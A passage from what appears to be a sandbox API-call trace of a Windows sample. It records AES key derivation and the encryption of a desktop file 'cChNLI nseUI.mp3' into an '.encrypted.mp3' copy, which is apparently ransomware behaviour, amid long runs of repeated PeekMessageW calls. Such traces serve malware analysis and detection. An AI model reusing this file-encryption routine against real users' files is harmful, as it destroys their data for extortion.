wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.341] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.341] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.341] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.341] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.341] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.341] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.341] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.341] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.342] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.342] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b150, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.342] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.342] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.342] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.342] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.342] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.342] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.342] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0022.343] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.344] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\cchnli nseui.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.344] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.344] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.344] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.345] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.345] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\cchnli nseui.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.345] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.345] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.345] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.345] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.347] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.347] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1747, lpOverlapped=0x0) returned 1 [0022.347] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.349] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.349] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.349] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.349] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.350] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.350] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.350] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.350] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.350] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.350] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.350] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.350] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.350] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.351] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.351] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064cf0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cf0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.351] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.351] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.351] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.353] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.353] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.353] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.354] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1747, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1750) returned 1 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] CharLowerBuffW (in: lpsz="byte[5969]", cchLength=0xa | out: lpsz="byte[5969]") returned 0xa [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.354] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41926a0*, pdwDataLen=0xe8f3dfdf68*=0x1747, dwBufLen=0x1750 | out: pbData=0xe8f41926a0*, pdwDataLen=0xe8f3dfdf68*=0x1750) returned 1 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.354] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.354] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.354] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.354] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.355] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.355] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 